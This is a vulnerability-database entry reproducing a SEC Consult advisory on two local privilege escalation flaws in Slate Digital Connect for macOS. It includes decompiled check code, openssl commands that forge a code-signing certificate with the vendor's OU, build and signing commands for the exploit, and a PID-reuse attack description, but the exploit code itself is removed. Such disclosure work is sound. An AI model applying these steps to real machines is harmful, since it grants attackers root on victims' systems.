codesign --sign "My Self Signed Code Cert" \
--force \
slateExploit
-----------------------------------
This executable can then be transferred to a target device and be executed as
shown in the screenshot ExploitProof.png
2) Insecure XPC Client validation via PID (CVE-2026-24067)
To exploit the insecure client validation via PID, the following Objective C
code can be used. The code first sends the desired XPC message and then
quickly changes the process to the benign binary, leading to the PID,
which will be used to check if the client should be allowed to connect
to the service or not, pointing to the benign client.
-----------------------------------
[ POC removed ]
-----------------------------------
The code can be compiled using clang:
-----------------------------------
clang -o slatepidexploit -framework foundation pidReuseSlate.c
-----------------------------------
The pid reuse attack will then be performed and the command defined
in the XPC message will be executed by root. This again enables several
vectors for local privilege escalation.
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 1.37.0
Vendor contact timeline:
------------------------
2026-01-21: Contacting vendor throughhttps://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927
2026-02-02: Contacting vendor by answering to the email received when
creating a ticket. No response.
2026-02-24: Contacting vendor again through
tickethttps://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927
2026-04-07: Contacting vendor viahelpdesk () slatedigital com; No response.
2026-04-28: Tried contactingprivacy () slatedigital com, email seems to not exist:
"Your message dated on 28 Apr 2026 07:52:04 -0000 toprivacy () slatedigital com
couldn't be delivered due to the following error:
5.1.0 - Unknown address error 550-'5.4.1 Recipient address rejected:
Access denied"
2026-04-28: Contactinginfo () audiotonix com; No response.
2026-06-10: Public release of advisory.
Solution:
---------
The vendor was unresponsive since January 2026 and a patch is not available.
Users of this software should contact the vendor support and demand a patch.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Florian Haselsteiner / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Slate Digital Connect (macOS) |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0366 (this record)
- related CVE-2026-24066
- related CVE-2026-24067
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260610-0 \u003e\n=======================================================================\n title: Local Privilege Escalation\n product: Slate Digital Connect (macOS)\n\u00a0vulnerable version: 1.37.0\n fixed version: -\n CVE number: CVE-2026-24066, CVE-2026-24067\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://app.completeaccess.audio/installers,https://slatedigital.com/\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-09\n by: Florian Haselsteiner (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Slate Digital was founded in 2008 with a mission to deliver exceptional audio\nproduction tools to musicians, engineers, producers, and content creators. With\nour extensive expertise and knowledge, we are constantly evolving to stay in\nstep with the changing needs of modern creatives. Our goal is to inspire and\nempower individuals of all skill levels to do their best work and share it\nwith the world.\"\n\n\"Slate Digital Connect lets you install, activate, and update all Slate Digital\nplugins. Whether you need a fresh install, to move to a new machine, or to grab\nthe latest updates, Slate Digital Connect handles downloads, licenses, and\nupgrades automatically.\"\n\nSource:https://slatedigital.com/about/ \u0026https://app.completeaccess.audio/installers\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unresponsive since January 2026 and a patch is not available.\nUsers of this software should contact the vendor support and demand a patch.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve\npotential further security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Local Privilege escalation by insufficient XPC Client validation (CVE-2026-24066)\nThe Slate Digital Connect App installs a helper tool during installation. The\nhelper tool namely `com.slatedigital.connect.privileged.helper.tool` is installed\ninto `/Library/PrivilegedHelperTools`. It offers the XPC service\n`com.slatedigital.connect.privileged.helper.tool2`.\n\nIt was found that the client validation of the XPC service is insufficient.\nThe following snippet of the decompiled function \"isValidClient\" shows that\nonly a check regarding the subject.OU of the certificate is performed. It is\nnot verified that this certificate is signed by Apple.\n\n-----------------------------------\n100003050 if (_SecRequirementCreateWithString(\n100003050 @\"certificate leaf[subject.OU] = \"3F5JHDQ8FZ\"\", 0, \u0026cf_2))\n100003054 goto label_100003068;\n-----------------------------------\n\nThis can be exploited by creating a self-signed certificate for code signing.\nThis enables attackers to craft their own self-signed certificate with the\ncorresponding subject.OU.\n\n2) Insecure XPC Client validation via PID (CVE-2026-24067)\nThe function \"isValidClient\" gets the code signing information of the\nconnecting process by using its PID:\n-----------------------------------\n100002fbc SecRequirementRef cf_2 = nullptr;\n100002fcc SecCodeRef var_28 = nullptr;\n100002fd4 int32_t pid = _xpc_connection_get_pid();\n100002fe0 CFAllocatorRef allocator = *(uint64_t*)_kCFAllocatorDefault;\n100002ff4 CFNumberRef values = _CFNumberCreate(allocator, kCFNumberSInt32Type, \u0026pid);\n100003014 CFDictionaryRef cf = _CFDictionaryCreate(allocator, _kSecGuestAttributePid,\n100003014 \u0026values, 1, nullptr, nullptr);\n100003038 bool z;\n100003038\n100003038 if (!_SecCodeCopyGuestWithAttributes(nullptr))\n100003038 z = !var_28;\n100003038 else\n100003038 z = true;\n100003038\n10000303c int64_t result;\n10000303c SecRequirementRef cf_1;\n-----------------------------------\n\nThis is considered not secure, since it is possible to exploit this case\nby exploiting PID reuse.\n\n\nProof of concept:\n-----------------\n1) Local Privilege escalation by insufficient XPC Client validation (CVE-2026-24066)\nTo exploit this issue a rogue code signing certificate must be created:\n-----------------------------------\nopenssl genrsa -out codesign.key 4096\n\nopenssl req -new -x509 \\\n -key codesign.key \\\n -out codesign.crt \\\n -days 3650 \\\n -subj \"/CN=My Self Signed Code Cert/OU=3F5JHDQ8FZ/O=Test Org/C=US\" \\\n -addext \"keyUsage=digitalSignature\" \\\n -addext \"extendedKeyUsage=codeSigning\"\n\nopenssl pkcs12 -export \\\n -inkey codesign.key \\\n -in codesign.crt \\\n -out codesign.p12\n-----------------------------------\n\nThis codesign.p12 certificate can then be imported into the keychain.\nThe following C code has been crafted to exploit the PrivilegedHelperTool:\n-----------------------------------\n[ POC removed ]\n-----------------------------------\n\nThis code was compiled by:\n-----------------------------------\nclang -o slateExploit main.c\n-----------------------------------\n\nand then signed with the crafted certificate created before:\n-----------------------------------\ncodesign --sign \"My Self Signed Code Cert\" \\\n --force \\\n slateExploit\n-----------------------------------\n\nThis executable can then be transferred to a target device and be executed as\nshown in the screenshot ExploitProof.png\n\n\n2) Insecure XPC Client validation via PID (CVE-2026-24067)\nTo exploit the insecure client validation via PID, the following Objective C\ncode can be used. The code first sends the desired XPC message and then\nquickly changes the process to the benign binary, leading to the PID,\nwhich will be used to check if the client should be allowed to connect\nto the service or not, pointing to the benign client.\n\n-----------------------------------\n[ POC removed ]\n-----------------------------------\n\nThe code can be compiled using clang:\n-----------------------------------\nclang -o slatepidexploit -framework foundation pidReuseSlate.c\n-----------------------------------\n\nThe pid reuse attack will then be performed and the command defined\nin the XPC message will be executed by root. This again enables several\nvectors for local privilege escalation.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 1.37.0\n\n\nVendor contact timeline:\n------------------------\n2026-01-21: Contacting vendor throughhttps://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927\n2026-02-02: Contacting vendor by answering to the email received when\n creating a ticket. No response.\n2026-02-24: Contacting vendor again through \ntickethttps://support.slatedigital.com/hc/en-us/requests/new?ticket_form_id=360000126927\n2026-04-07: Contacting vendor viahelpdesk () slatedigital com; No response.\n2026-04-28: Tried contactingprivacy () slatedigital com, email seems to not exist:\n \"Your message dated on 28 Apr 2026 07:52:04 -0000 toprivacy () slatedigital com\n couldn\u0027t be delivered due to the following error:\n 5.1.0 - Unknown address error 550-\u00275.4.1 Recipient address rejected:\n Access denied\"\n2026-04-28: Contactinginfo () audiotonix com; No response.\n2026-06-10: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor was unresponsive since January 2026 and a patch is not available.\nUsers of this software should contact the vendor support and demand a patch.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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